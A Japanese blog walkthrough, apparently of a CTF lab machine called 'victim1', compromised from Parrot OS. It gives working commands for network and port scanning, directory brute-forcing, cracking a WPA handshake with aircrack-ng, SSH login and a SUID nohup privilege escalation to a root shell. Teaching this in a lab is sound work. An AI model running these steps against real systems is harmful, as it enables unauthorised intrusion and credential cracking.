はじめに
みなさんこんにちは!
今回は4回目のハッキングです!
続々と新しいコマンドや技術が出てきていますが少しずつがんばっていきます!
それでは一緒にやっていきましょう!
1. Parrot OSとvictim1マシンの情報収集
まずは、自身のParrot OSに割り当てられているIPアドレスを確認します。
ip -4 addr show dev enp0s3
コマンドの説明
-
ip:ネットワークインターフェースの情報を表示・設定するコマンド -
-4:IPv4アドレスのみを表示 -
addr show:IPアドレス情報を表示 -
dev enp0s3:enp0s3インターフェースの情報のみを表示
実行すると、inetの後ろに表示されるIPアドレスがParrot OSのIPアドレスです。
次に、同一ネットワーク内にあるvictim1マシンのIPアドレスを調査します。
sudo netdiscover -i enp0s3 -r 192.168.56.0/24
コマンドの説明
-
sudo:管理者権限でコマンドを実行 -
netdiscover:ARPを利用してネットワーク内のホストを検出するツール -
-i enp0s3:使用するネットワークインターフェースを指定 -
-r 192.168.56.0/24:探索するIPアドレス範囲を指定
実行結果から、victim1マシンのIPアドレスが192.168.56.109であることを確認しました。
IPアドレスが判明したら、通信できるか確認するためにPingを送信します。
ping 192.168.56.109
コマンドの説明
-
ping:指定したホストへICMPパケットを送信し、通信可能か確認するコマンド -
192.168.56.109:疎通確認を行う対象ホストのIPアドレス
応答が返ってくれば、victim1マシンと通信できていることが分かります。
次に、victim1マシンで公開されているポートを調査します。
nmap -p- -Pn -P0 192.168.56.109
コマンドの説明
-
nmap:ネットワーク探索・ポートスキャンを行うツール -
-p-:すべてのTCPポート(1~65535番)をスキャン -
-Pn:Pingによるホスト確認を行わず、ホストが稼働しているものとしてスキャン -
-P0:ホスト探索を無効化するオプション(旧形式) -
192.168.56.109:スキャン対象のIPアドレス
実行結果から、開放されているポートとサービスを確認できます。
ポートスキャンでHTTPサービス(80番ポート)が開いていることを確認したら、Webブラウザからアクセスします。
http://192.168.56.109/

上記のメッセージだけが表示されます。
日本語に翻訳すると、「設定ファイルが見つからず、インストールに必要なコードも存在しないため、処理を終了します。」と書かれています。
URLの説明
-
http://:HTTPプロトコルで通信することを示す -
192.168.56.109:アクセス先のIPアドレス -
/:Webサーバーのトップページ
2. Webサーバーの調査とファイルの収集
次に、Webサーバー上に公開されているディレクトリやファイルを列挙します。
gobuster dir -u http://192.168.56.109 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php,html,txt
コマンドの説明
-
gobuster:Webサーバー上のディレクトリやファイルを列挙するツール -
dir:ディレクトリ・ファイル探索モード -
-u http://192.168.56.109:調査対象のURLを指定 -
-w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt:探索に使用するワードリストを指定 -
-x php,html,txt:指定した拡張子のファイルも探索対象にする
実行すると、いくつかのファイルやディレクトリが見つかりました。
その中でもrobots.txtというファイルが見つかったため、ブラウザからアクセスして内容を確認します。
http://192.168.56.109/robots.txt
URLの説明
-
http://:HTTPプロトコルでアクセス -
192.168.56.109:アクセス先のIPアドレス -
/robots.txt:検索エンジン向けの設定ファイル
続いて、8080番ポートで公開されているHTTPサービスについても調査します。
gobuster dir -u http://192.168.56.109:8080 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php,html,txt
コマンドの説明
-
-u http://192.168.56.109:8080:8080番ポートで動作しているWebサーバーを指定 - その他のオプションは先ほどと同様
実行すると、password.txtという気になるファイルが見つかりました。
ブラウザからアクセスして内容を確認します。
http://192.168.56.109:8080/password.txt
日本語に翻訳すると、「もっとがんばれ(ほかの脆弱性をみつけろ)」と記載されています。
次に、8999番ポートで公開されているサービスを調査します。
ブラウザから以下のURLへアクセスします。
http://192.168.56.109:8999/
アクセスすると、公開されているファイル名からWordPressに関連するファイルであることが推測できます。
その中にWPA-01.capというファイルが存在していたため、このファイルをダウンロードして解析を進めます。
まずは、victim1マシン用の作業ディレクトリを作成します。
mkdir victim1
cd victim1
コマンドの説明
-
mkdir victim1:victim1という名前のディレクトリを作成 -
cd victim1:作成したディレクトリへ移動
続いて、wgetコマンドを使用してWPA-01.capファイルをダウンロードします。
wget http://192.168.56.109:8999/WPA-01.cap
コマンドの説明
-
wget:指定したURLのファイルをダウンロードするコマンド -
http://192.168.56.109:8999/WPA-01.cap:ダウンロード対象のファイルURL
ダウンロードが完了すると、作業ディレクトリ内にWPA-01.capが保存され、以降の解析に利用できます。
3. キャプチャファイルを調査する
次に、ダウンロードしたWPA-01.capファイルを調査します。
まずは、fileコマンドを使用してファイルの種類を確認します。
file WPA-01.cap
コマンドの説明
-
file:ファイルの種類や形式を判別するコマンド -
WPA-01.cap:調査対象のキャプチャファイル
実行すると、PCAP形式のキャプチャファイルであることが確認できます。
続いて、capinfosコマンドを使用してキャプチャファイル全体の基本情報を表示します。
capinfos WPA-01.cap
コマンドの説明
-
capinfos:キャプチャファイルの基本情報を表示するツール -
WPA-01.cap:解析対象のキャプチャファイル
実行すると、以下のような情報を確認できます。
- キャプチャしたパケット数
- キャプチャ時間
- ファイルサイズ
- キャプチャ時間の長さ
- データリンクタイプ など
キャプチャファイル全体の概要を把握する際に便利なコマンドです。
次に、tsharkコマンドを使用して、キャプチャファイル内のプロトコルごとの統計情報を表示します。
tshark -r WPA-01.cap -q -z io,phs
コマンドの説明
-
tshark:WiresharkのCLI版パケット解析ツール -
-r WPA-01.cap:解析するキャプチャファイルを指定 -
-q:通常のパケット表示を省略し、統計情報のみ表示 -
-z io,phs:プロトコル階層(Protocol Hierarchy Statistics)を表示
実行結果から、WLAN(Wireless LAN)プロトコルのみが含まれていることが確認できました。
これは、このキャプチャファイルが無線LAN通信のパケットのみを記録したファイルであることを示しています。
4. キャプチャファイルの解析と無線LANパスワードの解析
次に、WPA-01.capファイルをWiresharkで開き、キャプチャされたパケットの内容を確認します。
wireshark WPA-01.cap
コマンドの説明
-
wireshark:GUIでパケットを解析できるネットワークプロトコルアナライザ -
WPA-01.cap:解析対象のキャプチャファイル
Wiresharkが起動したら、無線LANのパケットを確認していきます。
パケットを確認すると、以下の情報を取得できました。
これにより、このキャプチャファイルはESSID「dlink」のWPA1で暗号化された無線LAN通信を記録したものであることが分かります。
必要な情報を確認したら、Wiresharkを終了します。
次に、取得したキャプチャファイルを利用して無線LANのパスワードを解析します。
今回は、aircrack-ngを使用して辞書攻撃を行います。辞書ファイルには、Kali LinuxやParrot OSで広く利用されているrockyou.txtを使用します。
aircrack-ng WPA-01.cap -w /usr/share/wordlists/rockyou.txt
コマンドの説明
-
aircrack-ng:無線LANのキャプチャファイルを解析するツール -
WPA-01.cap:解析対象のキャプチャファイル -
-w /usr/share/wordlists/rockyou.txt:辞書攻撃に使用するワードリストを指定
解析が完了すると、辞書ファイル内から一致するパスワードが見つかり、**無線LANのパスワードが「p4ssword」**であることが確認できました。

5. SSHでログインし権限を調査する
取得したESSIDとパスワードを利用して、victim1マシンへSSH接続を試みます。
ssh dlink@192.168.56.109
コマンドの説明
-
ssh:リモートホストへ安全に接続するためのコマンド -
dlink:接続先のユーザー名 -
192.168.56.109:接続先ホストのIPアドレス
接続後、パスワードとして解析した**p4ssword**を入力します。
認証に成功すると、プロンプトが表示され、SSHでのログインに成功したことが確認できます。
次に、ログインしたマシンのOSを調査します。
uname -a
コマンドの説明
-
uname -a:カーネルやアーキテクチャなど、システム全体の情報を表示
続いて、現在のユーザーがsudoで実行できるコマンドを確認します。
sudo -l
コマンドの説明
-
sudo -l:現在のユーザーが実行可能なsudoコマンドを一覧表示する
実行結果を確認すると、実行可能なコマンドの情報に加え、/usr/bin/TryHarder!というメッセージが表示されました。
そこで、このファイルが実際に存在するか確認します。
ls -l /usr/bin/TryHarder!
コマンドの説明
-
ls -l:ファイルの詳細情報を表示 -
/usr/bin/TryHarder!:存在を確認したいファイル
実行したところ、/usr/bin/TryHarder!というファイルは存在しませんでした。
このことから、TryHarder!は実際の実行ファイルではなく、/etc/sudoersファイルに設定されたメッセージである可能性が考えられます。
6. SUIDファイルを調査してroot権限を取得する
次に、findコマンドを使用して、SUIDが設定されているファイルを調査します。
find / -perm -4000 -type f 2>/dev/null
コマンドの説明
-
find /:ルートディレクトリ以下を検索する -
-perm -4000:SUIDビットが設定されているファイルを検索する -
-type f:通常ファイルのみを検索対象にする -
2>/dev/null:権限不足などによって表示されるエラーメッセージを非表示にする
SUIDとは、ファイルを実行したユーザーではなく、ファイルの所有者の権限でプログラムを実行する仕組みです。
検索結果を確認すると、nohupコマンドにSUIDが設定されていることが分かりました。
まず、nohupコマンドの保存場所を確認します。
which nohup
コマンドの説明
-
which:指定したコマンドの実行ファイルが保存されている場所を表示する -
nohup:保存場所を確認する対象のコマンド
実行すると、nohupコマンドのパスが表示されます。
次に、nohupコマンドを使用してrootシェルを取得します。
nohup /bin/sh -p -c "sh -p < $(tty) > $(tty) 2> $(tty)"
コマンドの説明
-
nohup:ログアウト後もコマンドを継続して実行するためのコマンド -
/bin/sh:シェルを起動する -
-p:実効ユーザーIDを維持したままシェルを起動する -
-c:後ろに指定した文字列をコマンドとして実行する -
$(tty):現在使用している端末デバイスを取得する -
< $(tty):標準入力を現在の端末に接続する -
> $(tty):標準出力を現在の端末に接続する -
2> $(tty):標準エラー出力を現在の端末に接続する
今回の環境では、nohupにSUIDが設定されており、ファイルの所有者がrootでした。
そのため、nohupを実行すると所有者であるrootの権限が引き継がれ、rootシェルを取得できます。
7. フラグファイルを確認する
root権限を取得できたことを確認するため、現在のユーザー情報を表示します。
id
コマンドの説明
-
id:現在ログインしているユーザーのUID、GID、所属グループなどを表示するコマンド
実行結果を確認すると、uid=0(root)と表示され、現在のユーザーがroot権限であることが分かります。
続いて、rootユーザーのみがアクセスできるフラグファイルを開きます。
cat /root/flag.txt
コマンドの説明
-
cat:ファイルの内容を表示するコマンド -
/root/flag.txt:rootユーザーのホームディレクトリに保存されているフラグファイル
実行すると、flag.txtの内容が表示され、フラグを取得できたことを確認できます。

以上で、victim1マシンの攻略は完了です。
おわりに
以上で、Victimマシンの攻略が終わりました!
どうだったでしょうか。
nohupコマンドなどは今回初めて出てきたと思います!
次回もじっくり攻略していきます!:)
今回も長々とありがとうございました!





















